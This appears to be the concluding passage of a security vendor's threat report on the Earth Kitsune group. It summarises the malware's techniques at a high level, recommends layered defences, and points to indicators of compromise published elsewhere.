This threat is very interesting from a technical perspective. It patches the legitimate installers to hide its activities, uses lesser-known hashing algorithms to compute machine IDs and session IDs and employs ECC to protect encryption keys. In addition, the presented methods of persistence are also quite unique and rare. This shows that Earth Kitsune are proficient with their technical abilities and are continuously evolving their tools, tactics, and procedures TTPs.

To help organizations defend themselves from advanced threats, We recommend using a multilayered security approach and technologies that can detect and block these types of threats from infiltrating the system through <u>endpoints</u>, <u>servers</u>, <u>networks</u>, and <u>emails</u>.

#### **Indicators of Compromise**

The indicators of compromise for this entry can be found here.